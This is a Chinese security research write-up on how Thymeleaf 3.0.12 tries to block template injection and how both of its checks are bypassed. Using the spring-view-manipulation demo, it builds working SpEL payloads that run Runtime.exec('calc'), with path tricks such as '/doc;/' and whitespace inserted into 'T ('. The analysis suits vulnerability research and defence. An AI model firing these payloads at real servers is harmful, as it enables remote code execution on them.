文章前言
若依CMS中使用到了Thymeleaf模板引擎且存在模板注入可控点,但是在漏洞测试过程中发现常规的通用载荷并不生效,遂对其进行调试分析,最后发现是和Thymeleaf版本有莫大的关系,其中3.0.12版本增加了多处安全机制来防护模板注入漏洞,本篇文章将基于此背景对Thymeleaf模板的注入防御措施和绕过进行深入刨析
简易测试
在这里我们使用spring-view-manipulation进行演示说明:
https://github.com/veracode-research/spring-view-manipulation
我们在正常的情况下启动项目并使用以下载荷可以成功触发恶意载荷:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x
当前的Thymeleaf版本为3.0.11
项目改造
随后我们在spring-view-manipulation项目的基础上更改pom.xml中的spring-boot-starter-parent为2.5.6版本
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.springframework</groupId>
<artifactId>java-spring-thymeleaf</artifactId>
<version>1.0</version>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<!--latest-->
<version>2.5.6</version>
</parent>
随后我们再次重新启动项目并使用之前的恶意载荷进行一次请求测试:
/path?lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cmd.exe /c calc%22).getInputStream()).next()%7d__::.x
控制台报错如下所示:
Invalid template name specification: 'user/__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("cmd.exe /c calc").getInputStream()).next()}__::.x/welcome' :
at org.thymeleaf.spring5.view.ThymeleafView.renderFragment(ThymeleafView.java:284) ~[thymeleaf-spring5-3.0.12.RELEASE.jar:3.0.12.RELEASE]
at org.thymeleaf.spring5.view.ThymeleafView.render(ThymeleafView.java:190) ~[thymeleaf-spring5-3.0.12.RELEASE.jar:3.0.12.RELEASE]
at org.springframework.web.servlet.DispatcherServlet.render(DispatcherServlet.java:1400) ~[spring-webmvc-5.3.12.jar:5.3.12]
at org.springframework.web.servlet.DispatcherServlet.processDispatchResult(DispatcherServlet.java:1145) ~[spring-webmvc-5.3.12.jar:5.3.12]
at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1084) ~[spring-webmvc-5.3.12.jar:5.3.12]
at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:963) ~[spring-webmvc-5.3.12.jar:5.3.12]
at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1006) ~[spring-webmvc-5.3.12.jar:5.3.12]
at org.springframework.web.servlet.FrameworkServlet.doGet(FrameworkServlet.java:898) ~[spring-webmvc-5.3.12.jar:5.3.12]
at javax.servlet.http.HttpServlet.service(HttpServlet.java:655) ~[tomcat-embed-core-9.0.54.jar:4.0.FR]
at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:883) ~[spring-webmvc-5.3.12.jar:5.3.12]
at javax.servlet.http.HttpServlet.service(HttpServlet.java:764) ~[tomcat-embed-core-9.0.54.jar:4.0.FR]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53) ~[tomcat-embed-websocket-9.0.54.jar:9.0.54]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) ~[spring-web-5.3.12.jar:5.3.12]
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.3.12.jar:5.3.12]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) ~[spring-web-5.3.12.jar:5.3.12]
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.3.12.jar:5.3.12]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) ~[spring-web-5.3.12.jar:5.3.12]
at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:119) ~[spring-web-5.3.12.jar:5.3.12]
at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:189) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:197) ~[tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:97) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:540) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:135) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:78) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:357) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:382) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:65) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:895) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1722) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.tomcat.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1191) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.tomcat.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:659) [tomcat-embed-core-9.0.54.jar:9.0.54]
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61) [tomcat-embed-core-9.0.54.jar:9.0.54]
at java.lang.Thread.run(Thread.java:748) [na:1.8.0_181]
调试分析
第一阶段
我们直接在org.springframework.web.servlet.DispatcherServlet#doService处下断点逐步进行调试分析,中间过程跳过,在调试分析过程中我们会来到org.thymeleaf.spring5.view.ThymeleafView#renderFragment,在这里会判断viewTemplateName是否包含::,随后的业务逻辑就是Thymeleaf 3.0.12版本和之前的版本的差异性了,之前的版本中若包含则获取解析器,调用parseExpression方法将viewTemplateName构造成片段表达式(~{})并解析执行
Thymeleaf 3.0.12版本中则增加了一行检查—— SpringRequestUtils.checkViewNameNotInRequest(viewTemplateName, request);
在这里我们跟进checkViewNameNotInRequest看看:
随后这里会调用StringUtils中的pack方法对viewName进行重构,在这里可以看到会对每个字符进行一次检查来确定指定字符是否为Java中的空白字符,如果不是则进行append,最后转小写返回
Java中只有满足以下条件之一,字符才被视为Java空白字符:它是一个Unicode空格字符(SPACE_SEPARATOR、LINE_SEPARATOR或PARAGRAPH_SEPARATOR),但不是非断行空格('\u00A0'、'\u2007'、'\u202F')
它是 '\t',即 U+0009 水平制表符
它是 '\n',即 U+000A 换行符
它是 '\u000B',即 U+000B 垂直制表符
它是 '\f',即 U+000C 进纸符
它是 '\r',即 U+000D 回车符
它是 '\u001C',即 U+001C 文件分隔符
它是 '\u001D',即 U+001D 组分隔符
它是 '\u001E',即 U+001E 记录分隔符
它是 '\u001F',即 U+001F 单元分隔符
随后调用StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()))获取requestURI,随后检查了一次requestURI是否包含vn,这类场景针对URL Path可控的模板注入场景,即路径可控:
"/doc/{document}") (
public void getDocument( String document) {
log.info("Retrieving " + document);
//returns void, so view name is taken from URI
}
在这里我们重新debug一次并使用对应的请求路径对上面的匹配进行一次验证分析,此次使用漏洞载荷如下
/doc/__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
在断点处可以看到这里完成匹配,随后完成检查,直接抛异常
综上所述,checkViewNameNotInRequest类进行的check主要就是requestURI不为空并且包含vn的值,所以我们的绕过也要从这两个点下手,由于这里的vn时直接传递过来的viewName且经过了空白符的移除操作和转小写的操作,所以我们这里着重关注一下这里的requestURI的获取:
String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
unescapeUriPath最终调用的实际上是UriEscapeUtil.unescape
在这个方法中首先检测传入的字符中是否是%(ESCAPE_PREFIX)或者+
如果是则进行二次处理——将"+"转义成空格、如果%的数量大于一,需要一次将它们全部转义,处理完毕后将处理后的字符串返还回,而getRequestURI获取的即是URI根路径下的内容
在这里我们跟进查看一下上层传递过来的viewName和Request的关系,我们直接在org.springframework.web.servlet.DispatcherServlet#doDispatch的this.applyDefaultViewName(processedRequest, mv);处下断点进行调试分析:
在这里可以看到viewName是从request中获取的:
随后这里调用getViewName获取viewName,继续跟进:
随后调用ServletRequestPathUtils.getCachedPathValue(request);获取path
随后跟进这里的getCachedPath(request);
随后调用(String)request.getAttribute(UrlPathHelper.PATH_ATTRIBUTE);获取path:
紧接着调用this.attributes.get(name);根据键值获取到对应的path,而这里的path是经过过滤处理的
那么这里我们便可以使用如下的载荷来绕过此处的checkViewNameNotInRequest的过滤:
/doc;/
/doc/;/
随后我们构造如下的payload:
/doc;/__$%7BT(java.lang.Runtime).getRuntime().exec(%22calc%22)%7D__::.x
此时到了checkViewNameNotInRequest时requestURI为/doc;/${t(java.lang.runtime).getruntime().exec("calc")}::.x,而vn为doc/${t(java.lang.runtime).getruntime().exec("calc")}::,从而绕过检测
checkViewNameNotInRequest完整示例代码如下:
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
package org.thymeleaf.spring5.util;
import java.util.Enumeration;
import javax.servlet.http.HttpServletRequest;
import org.thymeleaf.exceptions.TemplateProcessingException;
import org.thymeleaf.util.StringUtils;
import org.unbescape.uri.UriEscape;
public final class SpringRequestUtils {
public static void checkViewNameNotInRequest(String viewName, HttpServletRequest request) {
String vn = StringUtils.pack(viewName);
String requestURI = StringUtils.pack(UriEscape.unescapeUriPath(request.getRequestURI()));
boolean found = requestURI != null && requestURI.contains(vn);
if (!found) {
Enumeration<String> paramNames = request.getParameterNames();
while(!found && paramNames.hasMoreElements()) {
String[] paramValues = request.getParameterValues((String)paramNames.nextElement());
for(int i = 0; !found && i < paramValues.length; ++i) {
String paramValue = StringUtils.pack(UriEscape.unescapeUriQueryParam(paramValues[i]));
if (paramValue.contains(vn)) {
found = true;
}
}
}
}
if (found) {
throw new TemplateProcessingException("View name is an executable expression, and it is present in a literal manner in request path or parameters, which is forbidden for security reasons.");
}
}
但是虽然绕过了这里的检测却并未成功执行反而还报了错:
第二阶段
随后我们跟踪调试来到解析的位置,跟进这里的fragmentExpression = (FragmentExpression)parser.parseExpression(context, "~{" + viewTemplateName + "}");,他会将viewTemplateName 使用~{}进行包裹并进行一次预解析类操作
在这里调用parseExpression(context, input, true)进行解析操作,随后跟进:
随后调用StandardExpressionPreprocessor.preprocess(context, input)
随后进行预执行命令的匹配:
随后按步就班的来到Object result = expression.execute(context, StandardExpressionExecutionContext.RESTRICTED);进行预执行操作:
调用execute进行表达式执行:
随后调用SimpleExpression.executeSimple(context, (SimpleExpression)expression, expressionEvaluator, expContext);
随后调用evaluate进行表达式的评估
随后调用obtainComputedSpelExpression来获取表达式内容:
在这里调用了getRestrictInstantiationAndStatic()
随后这里调用了一个containsSpELInstantiationOrStatic
随后这对new关键词进行了检查匹配,这里是倒叙提取数据进行匹配检查,所以是wen:
同时这里对关键字符"T"进行了匹配,主要的要点在于匹配到"("后,向左匹配到T,并使用!Character.isJavaIdentifierPart(expression.charAt(n - 2))来检查expression中索引为n - 2的字符是否不是有效的Java标识符的一部分,如果该条件为真,则意味着在字符串的这个位置有一个字符不符合Java的标识符规则
这里由于匹配到了T所以直接抛异常:
完整的containsSpELInstantiationOrStatic检查代码如下所示:
public static boolean containsSpELInstantiationOrStatic(String expression) {
int explen = expression.length();
int n = explen;
int ni = 0;
int si = -1;
while(n-- != 0) {
char c = expression.charAt(n);
if (ni >= NEW_LEN || c != NEW_ARRAY[ni] || ni <= 0 && (n + 1 >= explen || !Character.isWhitespace(expression.charAt(n + 1)))) {
if (ni > 0) {
n += ni;
ni = 0;
if (si < n) {
si = -1;
}
} else {
ni = 0;
if (c == ')') {
si = n;
} else {
if (si > n && c == '(' && n - 1 >= 0 && expression.charAt(n - 1) == 'T' && (n - 1 == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 2)))) {
return true;
}
if (si > n && !Character.isJavaIdentifierPart(c) && c != '.') {
si = -1;
}
}
}
} else {
++ni;
if (ni == NEW_LEN && (n == 0 || !Character.isJavaIdentifierPart(expression.charAt(n - 1)))) {
return true;
}
}
}
return false;
}
综上所述:Thymeleaf 3.0.12版本中通过checkViewNameNotInRequest来检查ViewName是否与URL PATH一致来防止URL PATH可控导致的模板注入问题,关于此部分我们可以结合解析特性并构造异形的URL来绕过检查,随后迎来的第二轮检查containsSpELInstantiationOrStatic对关键字New进行了检查,限制了诸如T(java.lang.String)和new java.lang.String()构造的语句,同时过滤并对"T(”进行了完全正则匹配,那么我们是不是可以在"T("两个字符直接插入一些无效的不影响SPEL表达式执行的字符来实现绕过并构造恶意载荷呢?答案是可以的,比如:空格
T(java.lang.String)
通过添加空格将其变换为:
T (java.lang.String)
载荷构造
基于以上分析我们构造如下载荷:第一轮检测绕过——构造异性URL
/doc;/
/doc/;/
第二轮检测绕过——添加空格、%0a(换行)、%09(制表符)进行绕过:
T (java.lang.String)
T%0a(java.lang.String)
T%09(java.lang.String)
有效利用载荷:
/doc;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x
/doc/;/__${T (java.lang.Runtime).getRuntime().exec("calc")}__::.x
参考链接
https://github.com/thymeleaf/thymeleaf/issues/809
https://github.com/thymeleaf/thymeleaf-spring/issues/256
推 荐 阅 读
横向移动之RDP&Desktop Session Hija